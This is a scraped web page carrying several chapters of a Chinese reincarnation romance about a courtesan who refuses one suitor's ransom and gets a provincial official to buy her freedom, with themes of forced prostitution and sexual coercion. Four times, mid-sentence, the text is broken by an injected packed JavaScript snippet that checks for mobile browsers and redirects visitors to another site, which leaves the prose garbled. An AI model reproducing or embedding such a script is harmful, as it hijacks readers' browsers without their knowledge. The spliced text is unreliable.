柳茸跳动的眼皮睁开，是满眼未散去的悲怆，酒香一醺，逐渐清明。 她认得他，她的第二位恩客，杜攸之。 替她赎身之人。 当初自己愿意应许他替自己赎身，无他，长得好，功夫好。 他是个巡官，与花楼里一溜肥肉堆脖的酒徒不同，脸儿俊俏，功夫也了得。接近柳茸本只为调查她的上任恩客—— 于她□□之夜出价做了一回“新郎”的买主。 “新郎”无故死在了妓馆搭的洞房里，杜攸之特来查情，初见柳茸的第一面，摇摇羊角风灯，烛影幽转，时有时无撩见一张无情亦动人的脸庞。 杜攸之凤眸随之一亮，移不开。 上一世，他替她赎的身。 风月所里谈风月，杜攸之从未经历男欢女爱，食髓知味，痴痴抵着她，央她与他同去，自己愿助她脱籍。 赎身后，他们也过过几日神仙眷侣的自由日子，直到，回了杜氏祖宅。 入门便是几位女眷，左瞄右瞧，如看动物般观量她。 半老的中年男子坐在堂前，斥令杜攸之跪下。 良贱有别。 身为杜氏子弟狎妓就罢，将人还将人带回，家风何在？ 伎乃贱|人，官府与司元登记在册的乐籍，轻易无法抹除。堂上的杜父不允她脱籍，杜攸之长跪于地，父命难违。 杜父落到柳茸身上的目光更是恨不得剜了她。 日后柳茸方明了，那不是想剜了她，是想占了她。 脱籍了还如何占？ 高门大院里，丝竹管弦奏起，那些唱着伎子哀的家伎便是她的明日。 杜父要她。 柳茸忘不了杜攸之望向她，惊异过后，愧恨、心虚，终是阖目不忍。 “不要怪我。” 君君臣臣父父子子，忠孝两全，方位君子，方为人臣。 而杜攸之正好……孝顺得很。 孝子割爱，他让出她，宛如割舍一件至爱的玉组佩。 期年后柳茸被杜父转赠同僚，再无获悉杜攸之的音讯。 似什么呢，似被当作一件精贵的物什，一具父子聚|麀的美玉器，柳茸自嘲地凝眉。 今日她醒来，自己尚在勾栏院，杜攸之即将赎她。 名唤留春台的勾栏院院落挂满恭贺的彩绸，花篮果蔬摆满八大酒桌，尽数都出自苦命的姊妹们之手。 勾栏院里的姊妹、小厮是真心地祝福柳茸，同是飘零沦落人，她们期望着赎身的姊妹能获得更真切的圆满。 杜攸之以为柳茸梦魇了，取出香帕探上她额间。 秀长的人儿即刻拍开他的手，旋身一躲，揽过一片红绡纱披上肩头。 “阿宝，送客。” “可是身子不适？”杜攸之关切搀住她。 清瘦的手腕刻意抬起，多情公子扑了个空。 勾栏院里的女子自女童起便被刻意喂不饱，恩客钟情瘦马，鸨母也生怕她们有力气后逃了，个个饿得柔弱无骨。 柳茸将透骨的双手裹进红绡，脸色冷淡睨了杜攸之一眼。 “我要更衣。” 明晃晃的闭门谢客之意，杜攸之怎听不出。 许是头次见身边人态度蜕变，僵持半柱香，微妙的尴尬过后，柑橘香里他淡淡一笑，依礼作揖，“那，今夜杜某就不留宿了。” 柳茸转过身不看他。 “叨扰了，明日，杜某再来赔罪。” 他的礼节一如既往滴水不漏，若无前世之殃，自己真真被他迷惑。 龟奴阿宝上前喊人送客，顺便替柳茸打水沐浴，杜攸之眉头微挑。 “原先的阿宝呢？”他记得是个眼中透着戾光的少年，和现在的完全对不上脸。 “逃了。” 柳茸不想暴露太多异样，也不想同他纠缠，答得言简意赅。 原先的“阿宝”是个野小子，像条疯犬，不服管训，脸总被打得脏兮兮的，他一副不怕挨打的劲儿，越打反而越奋力还击。 唯有柳茸制得住他，他只听柳茸的话。 龟奴的一大活计是当把伎子送去恩客府上的“车”，背着伎子送去给客人。 旁的人靠上他肩头立马被一骨碌甩下来，鸨母几乎把他打死依然驯不了，不得已配给柳茸，“阿宝”消停了，没再把身上的柳茸抡下。 杜攸之的府邸离留春台远，“阿宝”每日的任务就是背着柳茸给杜攸之送去，目送她入府，次日天亮再背着她返回勾栏院。 她往杜攸之府上去了多少次，他就背着她走了多少路。 小龟奴逃在一个雨夜。 柳茸瞧见了，不作声。 无人不想逃，千方百计想要脱籍的人里也有她的一份。 造化弄人，前世的自己逃进了一座更加残酷的囚笼。 而这次，她不会了。 柳茸坐进浴桶，望着花船下杜攸之远去的背影，直到那人消失在轿子里才彻底纵任自己沉入水中。 水漫过胸口，压得她唇瓣翕张，深吸一口气。 又重来了一世…… 头顶的雕栏鲜艳如血，反着新涂的朱润，绮罗香榭，霞色流金，前世掉漆的红墙仿佛一场梦。 但那不是梦，是真真过了一世。 挨过一世风雨，许多事已然看清，财，花不出勾栏院；势，举目无双亲；人，更是靠山山倒。 这艘花船上，唯一可以依靠的人唯有自己。 人饥相食的惨状还盘桓在头顶，死前菜人市的剁肉声清晰如故，柳茸泡在热水中，泡得并不安宁，四周静下来时，过往不可控地一幕幕闪回。 崔元的死揭落了安稳静好的镇邪符，饥荒、疫病接踵而至，摧残着他生前呕心沥血建设的州府。 也摧残着柳茸的心神。 土里打转的人们种个田，插个秧，地也不是自己的，一场江山易主带来的饥荒他们便丢了性命。 农闲时男女老少会坐在谷堆前，喊柳茸吃石榴，嘻嘻露着憨厚的笑。但后来，谷堆被新官充仓了，坐在上面的人儿都化成了乱葬岗乌蝇成群的坟包。 她、和他们做错了什么呢？ 柳茸想起阿爹，他们就像曾经的阿爹和阿娘，如今的她也大致回味过来年幼时阿爹经历了什么。 儿时的她没法救出阿爹、救活阿娘，而后来的她，眼睁睁看着更多人变成了她的阿爹阿娘。 也不知，崔元若活着目睹会作何感想。 会哭吗？ 她只见这个傲岸的男人哭过一回，唯一一次也是最后一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15763437|174488||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 次，探监之时，他在牢狱里闪着泪花的道歉。 她想，她不能死，崔元，也不能死。 人死灯灭，就真的什么都无力回天了。 柳茸捧起一掌水花，看着水下浮影凌乱的身躯，骤然一愣，右手小心翼翼地探了下去。 没有糜烂、没有梅花斑、没有抽痛。 自己的病，好了？ 身体没有得病，这是自己还没有得病的年岁。 反应过来身体的变化，柳茸身子一斜，脱力靠在浴桶板，双臂不自觉缓缓相拢，激动随颤抖漫遍全身。 浴汤里，掉入一滴泪。 她的身子原是这般完好。 在接连被转赠到不同官吏的府邸后，柳茸在某个冬日染了病。 说不清何时得的，药贵命贱，无人愿意耗力气医好一个家伎，恶化得厉害，同府的姊妹们看着心疼，身为家伎，大家对柳茸的病再熟悉不过，凑出药材替柳茸熬了些土方。 她习惯了硬撑，疼痛扎根久了，早已忘了无病无灾的身子是何感受，回到这具身子后一时片刻竟未体会出不同。 隔了良久，久到热水变温变凉，她才渐渐从触动中回神。 新的生机自体内燃起。 要如何做才能活下去呢？ 想起自己的籍契，柳茸犯难。 商妓名伶是不可自己赎身的。 青楼自古销金窝，销金窝里花多赚也多，若能自行赎身早就个个都插翅飞走了。 是以素来有两法，一是将银两首饰偷偷暗付书生，由相好的书生代赎。 次日书生卷钱跑了，人财两空。 即便撞大运碰到了有情有义、见钱不眼开的书生，鸨母也少不了狠刮一笔，十几年卖笑积攒的血汗银又流回销金窝里，净身出户过苦日子。 柳茸在前世亦不信此路，将钱财拱手让给一穷二白流连勾栏院的男子，且希冀对方不起歹心，比赌坊连赢十场还渺茫。 那便剩下第二条路，等商贾官人赎身。 前世是杜攸之，而今生，她不想与此人再有瓜葛。 “女郎，酉时三刻了。”守在外的龟奴轻叩木门。 “今夜怎催得那么急？”整整比平日少了一柱香时间。 “女郎真会打趣，明日杜郎君便来赎你了，今日得早些收拾。” 柳茸“哗啦”从水中披离而出。 明日？明朝就是廿八号？！ 脑中，崔元临死前于牢狱中的自白一晃而过。 ——“其实，你被赎出妓馆那一日，我就遇见你了。” ——“那日驾马经过，崔某萌生妄念，但你已许配他人，非礼勿言，一片狂心暗许，只得默观遥祝。” 赎出……妓馆……架马…… “阿宝！”柳茸扣了扣遮掩浴桶的屏风，龟奴应了声。 “帮我备衣。” 龟奴去唤更衣丫鬟了，柳茸步出浴桶，踏着水来到琉璃窗前，抹开窗上的水雾。 留春台靠近商贾云集的码头，岸上偶有官吏来巡察。 前世的她和崔元未得缘见彼此最后一面，各自寻门各自死。 最后一面已不可见，或许，今生能重见第一面。 青楼下，码头上，灯火粼粼，其中一盏会是他藏在里面吗？ 明日崔元的车马就要出现。 她认得出，她要劫他。 为自救，也为救他，救他人。 5. 重遇 初入勾栏院时那段记忆，柳茸大多凌乱模糊了，只记得自己不停在哭。 像只惶恐的猫儿般躲进客人的酒桌下，偷吃着客人掉在地上的点心碎。 柳茸不敢出来，因为一出来，鸨母就要逮自己去练琴。 按弦时十指连心的疼痛犹在手上。 从前茅草堆的土房里，阿爹耕田阿娘织衣，他们也能饱足，为何在金银遍地的城邑要逼着学疼痛锻造出的技艺才能勉强裹腹？ 青楼的莺歌燕笑淹没了一个六岁孩童的啼哭，骚人墨客的雅兴盖过了商女的辛楚。 卑屈、低首、婉转峨眉，是留春台大多女子的常态，小时候的柳茸知道在摆着笑脸的姐姐其实并不快乐，她心拧出细雨，垂着嘴角闯进厢房，摸上那张满是脂粉的脸道：别难过。 床上的恩客被打扰好事恼了，闻风赶来的鸨母大骂着喝令柳茸出去，柳茸回身一望，那张笑脸下的情绪更难过了，内疚无以复加。 当晚没有饭给柳茸，她看见笑脸的主人重新浓妆艳抹，梳头接客，换上芽绿的衣裳走过花楼的一派熙攘。 蓦地，笑脸看了过来，在柳茸身旁顿住脚步。 一颗糖塞进柳茸手中，温暖的掌风扫过她的发顶，摸了摸她的头。 糖不甜，反有苦意。长大后，柳茸也成了当初给糖的人。 她在高台拨秦琴，台下众星捧月，无名酒客送上名花，柳茸收过拖人转送的话，心中的欢悦却并未跟着花心绽放，再取出镜来，脸上挂着差不多的笑脸。 “柳姐姐，那位杜郎君又来了。”留春台的侍女捧着素净的白衣入内。 浴桶中，柳茸自抽丝剥茧的神游抽身。 杜攸之不是回去了吗？ 阴魂不散。 湿答答的手搭在浴桶边又收了回去，拐到侍女的玉脖上。 “锦儿，今夜我不想让人来，你替阿姊把门，好吗？” 柳茸缠着她的脖子。 侍女连连摇头，“阿姊，杜郎君执意要见你，正在前堂点了酒不肯走，说是、说是你今日神态反常，他怕有恙不放心你。” 一块名贵翡翠金镯递入锦儿手中。 锦儿眼睫扫下一层阴影，“如此大事我怎能做决断……” “好不好？”柳茸的手缠她更紧，小臂水珠将她桃红的衣襟湿成肉红色。 锦儿整颗脑袋都偏过去不敢应承，“阿姊……我不敢的。” 那颗脑袋被一根指拐了过来，柳茸的眼在水汽薰染下潋滟无比，“姆妈问起就说是我的意思，她明日就要收到我的身价银了，不会找你的茬。” 她一字一句点教，“但今夜，我睡了，你没见到我。” “……锦儿记住了。”锦儿壮起胆子浅浅嗯了声，“今夜阿姊睡了，睡得正香。” 门户“吱呀”一转，飞花乘风落进空无人的浴桶。 柳茸穿好衣，忽然灵光一闪，“小青还在吗？” 半只脚退门而出的锦儿不知她为何用这等措辞，歪头莞尔，“小青一直在啊。” “她在何处？” 锦儿顺手指了间偏厢，柳茸快步走出，路过园中梅林，随意折下一根青萃挽起湿发。 偏厢近了，一个豆蔻年纪的背影清晰进入视线，柳茸扶着门框的手一紧，踌躇半刻迈进揽住了她。 被抱的女子转过头，看到来人的脸，一时愕然无言，“阿姊？” “让我看看你。”柳茸放开她，小青懵然不知。 小青，是某户人家孤女，比柳茸晚入留春台，尚未到梳弄的年纪，闹腾又欢实。年岁大点的花魁嫌孩子扰事，不愿带新人，柳茸见她一个人便收在自己身边。 不料等来的是姊妹离心。 小青年纪小，按规矩要学成长几年方接客，可她不喜学艺，时时懒睡，柳茸对她的偷偷懒视而不见，偶尔帮打掩护。 直到某日，柳茸亲眼见她勾着一位熟客带进厢房，关上了门。 她们大吵了一场，红玛瑙镯摔在离心的二人中央。小青不忍了，她就是羡慕接客的伎子如何，做了名妓就能穿金戴银、前人捧后人追，有名有利有人伺候，何乐而不为？ 不允许她早早接客，柳茸定是打着主意想独占风光，怕她接客后抢了自己的富贵荣华。 柳茸的心像是被一计猝不及防的冷箭扎了下，寒着脸似笑非哭地凝了她许久，翌日，将人请出自己身侧各自安好，想做任何事由她，自己不会再管她。 怄气的女孩拿起柳茸放在桌面的首饰就跑。 后来柳茸赎了身，她们再无交集。 夏虫不可语冰，青楼煎熬苦海，竟有人以孩童说笑的心态沉醉其中。 再后来留春台走水，烧掉大半厢房，柳茸在奏乐班子里，听见席间男人们的笑谈，一根琴弦“噌”的一声，拨错了音。 她央求主人家放她回留春台看一眼，就一眼。 主家以仁厚著闻，不好当众驳拒，准她远远观望，望到尽头，过眼的是一具具瘦成皮包骨的尸体。 瘦小的人蜷缩着，满脸灰屑，火烧掉大半面庞，而她无知无觉地温柔安睡，瞑目地府。 那张烧焦的面孔在柳茸心底打转了半世，以至于无法和眼前清秀洁整的玉容联想到一个名字上。 “阿姊，你……”小青眼神躲闪，不待话语说完，一簇梅花枝插入她鸦黑的髻发。 “我替你簪花。”柳茸像过去那般为她梳头。 一世终了，故人还活着，曾经的芥蒂早已不再介怀，唯有当初见到小青尸骨的凄恻留在心窝。 “阿姊，大家说你明日便走了？”小青虽与她有隔阂却也难掩好奇。 “你想和我一起走吗？”柳茸拢拢她的发。 小青嘁了声，“那也要有人赎才行。阿姊就好了，被人赎身要去过好日子了。” 好日子？替人梳完头的柳茸酌酒，但笑不语。 “阿姊，你莫不是会嫁人吧？”小青暗戳戳套着话，以为柳茸没听出来，假设地更大胆了，“日后会不会做上比乐伎还高的主？官妾？大夫人？” 她托着腮把期待全溢出脸，“不会是命妇吧？” 鸨母总说长大后嫁人从良就享福了。 柳茸抿了口榴花樽，“我都不想。” “为何？莫非有比诰命夫人更好的位置？” 柳茸要答话，有人出声打断。 “是谁要当诰命夫人？”一道低醇的嗓音隔门响起。 杜攸之在廊外，泠泠月华披照肩上，凤眸脉脉。 “远远听见有人在说诰命夫人。”他折向柳茸的目光里闪过看不清的情愫，最终落进一句半开玩笑的调情，“就那么想做？” 寂风吹得窗纸沙沙，厢房里落针可闻。 气氛诡怪。 小青左看看阿姊右看看进来的锦衣男子，决定不加入这盘危险的棋局，此刻柳茸在场她拦客也讨不到好处。 她知趣拿过一盏油烛退出。 厢房的灯影霎时暗了，杜攸之脸下的嘴角也暗了几重。 柳茸睨着来人，“我想做，公子给吗？” 杜攸之没有笑意。 “为何骗我？”他的阴蚀终于溶溶漫出，含着酸意。 偏生柳茸置若罔闻，仿佛这场潮骚里只有他一人在淋雨。 过堂风将桌上酒香吹来，杜攸之的眉眼吹出一层氤氲凝愁。 “你根本没睡。”杜攸之不死心地开口。 “听到你说睡下时我就约莫猜出了，茸娘，是你不愿见我，为何？” 他想不通今日她是怎了，一反常态 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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她没有松口使杜攸之留下，找了个借口搪塞他回去。 今夜是少有的没有恩客、独属她一人的卧房，柳茸这才发觉，原来自己的窗台一直有对小蟋蟀。 可惜她发现它们的时间太晚了，五更天，鸨母已经唤她梳妆，嫁女儿般拉到绣房打扮。 侍女拿来一套靛蓝襦裙，是杜攸之亲点最喜的，柳茸刚要穿，注意到紧窄的裙身，蹙眉道：“锦儿，换成八破裙。” “可是阿姊，杜郎君喜欢此色。” “换成破裙。” 漏声滴滴催人，留春台外一辆马车停驻，细眉凤目的男子下马等待。 昏夜灯红柳绿的勾栏院白日竟显得有些冷清，杜攸之隐约能探到自己的心跳。 光破开门户，他看见一抹榴锦倩影，衬得周身景物都跟着焕了彩。 柳茸出来了。 杜攸之在出神过后见翩然作揖。 那个人步步迈近，他的心自忐忑，轻尘扫过，他要去接她的手。 只一眼，她径自掠过了他。 杜攸之：“茸娘？” 在哪儿？到底在哪儿？哪有马车？柳茸一路跑，一路张望。 身后的呼喊越来越近，宽大的破裙下她迈大腿距，加快步伐。 勾栏院饮食少餐少食，养不了气力，她跑不过杜攸之的，况还有家丁，但是，她瞧见了，瞧见一辆油壁白马车萧萧自街角奔腾而来，正往码头赶。 那一刻，她庆幸自己至少双眼目明。 一辆白马车，一辆崔府样式的油壁白马车！ “公子！”柳茸冲上前。 辚辚声动，轱辘急打，马蹄乱了方寸，受惊前奔，石榴裙逐渐逼近，眼看要踩得粉身碎骨。 马车停住了。 6. 赎人 “大胆！敢拦崔府车架！”马夫扬鞭。 下一刻，他像得到旨令般收声，空鞭打在天上。 车帘微微掀开了。 里头一片黑，只能看见卷开的布帘下泄出一丝澄练月华，是半截白袍。 柳茸感到自车内而来的视线，落在她脸庞，温度活络着血管里的血，双颊随呼吸起伏发痒，她的心提到嗓子眼。 随后，一道声音作春雷响在耳侧。 “姑娘的红裙，脏了。” 杜攸之恰时追上来，撞见马蹄前的柳茸，又看看眼前的马车，迅速认出了车架，上前作了一揖。 “不知是博陵崔氏哪位兄台来陈塘，在下杜冼杜攸之。” “兄台？”车内人沉声冷气，这是他一贯对生人的语调，柳茸记得，“本官不记得与杜氏有多熟。” 杜攸之哽了一下，维系住笑，“原来是崔刺史。” 崔家仅有一位公子出了名的不看人情面。 “刺史大人也是来巡察的？” “听闻此地有类甜果叫白糖罂，长安城难得，没吃过，来采买些。” 大世家采买轮得到亲自跑一趟？ 谁信？杜攸之不信，但眼下气氛略僵，他不懂柳茸为何兀自跑了，更吃不准车上的人一直停马在此到底做甚。 这位刺史脾气古怪，时常狂言狂语，开罪人从不看场合。 崔刺史，刺得很，杜攸之不想多得罪，随口诌个由头打发要紧。 “内人不懂事，冲撞刺史，还请宽谅。”杜攸之又行一礼，“若无他事，能否请刺史稍侯片刻，下官有私事处理。” 说罢，打算去拽车前的柳茸。 “谁说我没有他事。” 车帘彻彻底底被一只手挑开。 美。 崔元的脸如冷浸的水月，嘴角熨平，不生柔情，周身镀了层漠然舒态的外壳，极不近人情，纵然过去日日相对，依旧会数度被惊艳。 比之前世数年后的相遇，此刻他的脾气依稀残留着年轻气盛时的倔傲。 他面色平缓，读不出贪嗔痴喜，平白无故遭人拦车亦没有气恼，“有拦车就有鸣冤，本官的规矩。” 杜攸之：“无心之举，何来的冤？” 溽暑气燥，晨起的日头东升扶桑，照亮车内男子刀裁的鬓角，崔元刚从庙里敬香完，衣摆间的寺香尚未淡去，经过柳茸身旁，眼风随香扫到她。 交接一息，人已横在杜攸之与柳茸中间。 睨了眼不远处留春台的招牌，再掂掂脚下一排街盖着的秦楼楚馆，崔元不可察勾起唇角，明眼人也约莫将始末悟了个七八。 内人？夫君？天不亮在花街柳巷追逃？ “这位姑娘，当真是你的妻？” “不成？”反正他终要娶柳茸，她进入杜府是迟早的事。 “洞房了？成亲了？归宁过了？” 一连三问咄咄逼人，杜攸之的脸色倏然难看。 话里行间尽是对自己方才说柳茸是内人的嘲讽之意，柳茸是留春台里赎出的，上哪去归宁，留春台么？ 他不是在嘲讽柳茸的身份，是在暗讽他杜攸之明明是花楼常客还要装贞夫。 如蓟在喉的沉默在发酵，崔元轻哂一声打破，“一无三书六礼，二无拜会高堂，她是你哪门子的妻？” 杜攸之凛了眉目，皮笑肉不笑，“崔刺史这是何意？堂堂益州刺史也管人情爱吗？” “杜巡使可听过近日的采生折割案？” “略有耳闻。” “大梁采生折割罪重，不乏有人钻空子，想出先替商伎赎身后诱卖人口的奸计。此事甚是猖獗，本官不能多问？” 杜攸之好似被羞辱了，他和那些歹人相提并论？ “杜某为官清廉，以己身作责胜残去杀，与她也是两情相悦，崔刺史断不必怀疑。” “是么？”崔元注意到柳茸裙尾溅的泥点，“两情相悦，人却在逃。” 杜攸之一时无言。 昨日之前情浓意切的人今早陡然变故丛生，他怎会预料得到。 他的思虑尚未从柳茸无端的奔逃中转过弯来，就撞上崔元卷入掺和，眼下情形已超出自己的控制，连个解释的理由也找不出，事情变化突然，根本无时间留给他编排。 “他的话当真？”崔元回身，对上柳茸。 “茸娘……”杜攸之也向她投来眼色。 柳茸垂目，不语。 “茸娘、茸娘？”杜攸之恍惚有些不可置信，他本期待着她的反应，期待她会站在他这边，万没想到她息了声。 不语已经代表了答案。 杜攸之伸出手，想要牵拽她灼红的袖口，被一只手截下，定在半空。 对上的，是崔元审视的表情，柳茸在他身后，几步之遥恍若隔世千里，她不作声，就这么看着他的僵持，杜攸之心中忡然。 他的茸娘在拒绝他，为何？ 昨夜的疏离隔阂恍若一个引子，是脱轨的前兆，杜攸之如今才回味过来。 可是，他看不懂。昨夜她是那么地渴望与自己出留春台，为此还恼了，难道她的情谊和那晚的灯火一样虚虚实实？ 她表现地那么渴望自己赎她，就像知道必然会发生某些事一样，诱着他推动着，要不是柳茸没出过留春台，他几乎要以为是柳茸和崔元设计了这一环。 而她也不可能与崔元有旧交。 心中冲动愈甚，杜攸之满腹疑恨，恨不得冲过去拢着柳茸的肩质问，再将人揉进怀里。 “还请崔刺史，纡尊，让道。” 一个莫须有的采生折割真能让一个刺史留下细盘？ 同为宦海沉浮人，杜攸之本来不信，官官之间行事大多大事化小小事化无，从三品刺史更是懒得管管鸡毛蒜皮的小罪，只要无伤大雅，不捅出来便充耳不闻。 但对方是崔元。 “可以是可以，但这马车，”崔元轻拍了几下车栏，“没有碰了就跑的理。” “刺史大人待如何？”杜攸之咬牙。 “赔钱。” 杜攸之指示家丁取钱，银锭叮当。 哪知崔元一眼没分给他，指向柳茸，“不是你赔，她赔。” * 鸨母收到风声急匆匆跑出留春台，就见道上杵着两尊人像胶着。 一尊身着檀色香云纱，凤眸长眉，面色不悦，一尊酽白胜雪，凌目冷视，互不相让。 天光全亮了起来，路上行人也逐渐多了起来，正午日头落在攒攒人头上照得发顶发烫。 “二位爷、有话好说、”鸨母阅男无数，一眼看出对面气度不俗。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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杜攸之哑然，手滞在空中，眉头深蹙不化。 “听见了吗？”崔元拂了拂衣摆，双眸墨黑，“马车没有碰了就跑的理，世间也没有强买强卖之理。” 嘈杂声自人群中密密层层，越传越大。 有戏谑，有蔑笑，有新奇，仿佛在看一个因不懂常识而闹笑话的毛小子。 “此人糊涂了吧？对着勾栏院说没有强买强卖的理？” “圣贤书读傻了吧……” “这地方是勾栏院，可不是什么茶馆铺子。” “富贵公子就是将人想得天真，伎子赎身还能由得了她们？岂非乱套了？” 白马车上的马夫扶额，却也只能依着崔元。 人群嚷嚷低语，崔元仿若无人，面色不改。 鸨母悻悻笑着，“这位官人，杜大人已经交了茸娘的身价银，官人实是在难为妾身。” 崔元投来一眼，“交完了吗？” 钝刀刮肉般的感觉令鸨母打了个寒颤，她踟蹰着，如实做答，“尚未交完。” 还想进一步解释，崔元掀过白袍，任由四方耳风刮过，流星跨步走向鸨母。 数块名贵金链玉石投入鸨母手中，正是方才从柳茸的百宝箱内随意抓取的赔偿。 “她的身价银，我替她交了。” 7. 回府 前世自己是如何跨出留春台的？ 柳茸思索，想起来了，约莫是喜洋洋的。能飞出囚禁数年的囚笼，哪管杜攸之赏的裙裾再紧也强忍着撑上，无怪乎某人以为她觅得良人。 一声惊雷不知觉轰然落下，夏雨淅淅沥沥浇下，紫电劈落，电光下，杜攸之的脸映得更为惨白。 柳茸，还是选择了崔元。 虽说杜攸之花的银两不少，又有官职在身，按理鸨母必不敢收他人赎金反悔得罪他，但赫然佩在崔元腰间的刺史鱼符破了常规。 杜攸之只见那抹着火榴裙望过来，浅笑了下，转瞬便见她冲自己行了一礼，步步生莲走向崔元。 美人鞋尖的珍珠坠动一分，他的心便跟着坠动到更深处。 此时，杜攸之才肯正视心底一个不愿承认的事实，那便是与崔元无关，是柳茸不愿随他走。 数度否决、刻意忽视的念头在眼前情形交衬下，避无可避，毫无情面地撕掉宿昔的风月情浓，令他再不能自欺欺人。 看着柳茸即将随别人上马，杜攸之再也按捺不住。 一声茸娘出口，一袭白衣挡住了他，也阻断他望眼欲穿的目光。 两相对峙。 崔元不言，静若观水。 二人似乎在对话，雨声稀释了两人的声音，柳茸听不清。 忽而一柄纸伞罩住了她，油沥沥的，桐油味浓郁。 “女郎。”崔府的随从恭敬执着伞，立在她身后，“大人说雨水寒凉，请女郎先移步轿内等他。” 她观了眼雨中的两个男人，向随从一笑，“我在车下等他便好。” 雨幕下，柳茸的身影渐化作一粒粟，杜攸之不由得想追上去，可前方的白衣纹丝不动。 “崔刺史，”杜攸之挤出一抹笑。 “刺史知晓她是什么样的女人吗？” 崔元眉目一凛。 “虽然刺史今日同下官略有龃龉，但同朝为官还是想劝言一句，她的头位恩客可是不明不白地死在了她阁中。” “此后相中她的男子无不死于非命，此事古怪，朝廷才会派下官来。刺史——真要将人带去益州？” 好言相劝般的铺陈结束，杜攸之感到被对方上下瞟了一眼，崔元依旧没有言语，静地令人发毛。 半晌才听到他清薄的嗓音，“是么。” 不知是鼻息或冷哼，他道：“你竟还未死。” 话音落崔元回身不再停留，上马前，微抬起白伞，望了柳茸一眼。 静默中，崔元掀帘入轿，马车没有启驾，柳茸缓了缓，进入轿中，车轿终于动了。 马蹄踏雨奔驰，身后是杜攸之追喊着茸娘。 柳茸伸到轿窗边的手堪堪刮过漂进的雨水，侧头转向崔元，他正闭着目，薰炉的烟袅袅斜斜。 那只手在窗边停留片刻，最终没有撩开窗帘。 杜攸之，与自己从此再无纠葛。 前世趟过的浑水太辛酸，纵然此时的杜攸之尚未来得及催发往后之事，她也不想将一生交由他，不想交由任何人，她晓得他是何等孝顺。 这么想着，车停住了。 码头商贩的叫卖声与船舶卸货声飘进车帘，清风吹卷着，日影洒落帘子下，崔元出而又返，臂弯多了一筐白糖罂荔枝。 一路同车，一路无言，谁也没开启话头。 直到柳茸的嗓子有些发干，空气中“啪”的一声，散出甜腻气味。 是崔元剥开了一颗荔枝。 饱满的凝红爆出水灵剔透的果肉，甜汁顺着他白皙的指缝流下，瑰红的果壳无情投入薰炉中，焚香诱人味蕾。 “你在想他？”他开口。 果壳被火燎烧地滋啦作响，崔元凝视着闪烁的火星，看起来只是随意一问。 柳茸摇首：“公子觉得我想他吗？” 崔元低眸不置可否，接着取出一枚玉珠子，“若是想他，你便不会往我的马车里丢珠子了。” 就在冲撞马车的千钧一发之际，一枚玉珠子顺着车帘缝隙，几不可察落到崔元靴旁，骨碌碌打转后停下。 拦路投财，怀金相求，他收到了她的暗示。 “贿赂朝廷命官可是重罪。”崔元在指间把玩了“贿款”一番，重收入袖中。 “公子要将我定罪吗？” “你拦路，是因为知道马车里的人是我，”崔元收起轻松，肃然转过眼眸，眼底藏锋若能将人窥透，“你如何得知？” 柳茸被问住。 几乎过了有一柱香长，他看着炉香，幽幽说道：“罢了，不论走漏风声的是何人，你只需记住，你如今不是留春台的人了。” “记住了？” 柳茸唇角轻勾，“茸娘记住了。” 那人拂了拂衣上果屑，没说什么，支声不吭望着前方，似乎真的只是在看香炉，未看见她笑。 回益州的路途遥远，益州刺史崔元暂在城中崔氏的别院落脚。 说回也不对，他本就是出京去往益州赴任，来此只是趁未及上任的日子南下领略风土。 与多年后在益州和老农插秧耕田的崔刺史不同，今生的他刚遭调任，益州的稻田农桑、人情风物于他，皆是陌生的存在。 柳茸吃着荔枝，心里流过许多事，自己的前尘非非、他遭调任的事、他说过的话，最后忆起了崔元调任出京的缘由。 只因放言了一句话：说自己所侍非君，所忠亦非王，乃是民。 万幸先帝武宗已宾天，不然怕是能掀飞棺盖掴人两掌。 元弘五年，武宗赵翎崩，五子夺嫡始，也是同年，崔元调为益州刺史，而这场由金銮御座翻起的腥风血雨，要到几年后胜负方晓。 今年，是崔元调任益州刺史的第一年，却不是柳茸遇见他的第一年。 吃到第五颗荔枝时柳茸住了手，抬头看向楼上，纸窗烛光昏黄，窗中一位刺史正在挑灯。 灯火落落，崔元唤柳茸入内，指尖轻叩着梨木桌，眼观鼻鼻观心。 “你有两条路。随我回益州，或自行离去。” 这是让她自己选。 往后各地时局将愈发乱，去往益州会好上很多。柳茸毫无犹疑地择了前者。 做出选择的刹那，崔元的双眸睁开了，“你不在此地长大？” “公子何故问这个？” “崔氏的车马七日后出岭南，你若随我去益州，便没有时机再回，籍契也会迁至益州，就这么舍得？” “有何舍不得的？ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15763440|174488||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” “我可以放你归乡。” 柳茸笑了，“公子说笑了，奴哪有什么家。” 她的家，很早之前就不记得来路了。 崔元薄唇翕张，欲言又止，明明是如此粲然的笑，竟有几分寥落飘进他眼底。 片刻，他收回神志，“此地可还有你挂念之事？” “我确实有一事想求公子。” 只是不知他是否应允。 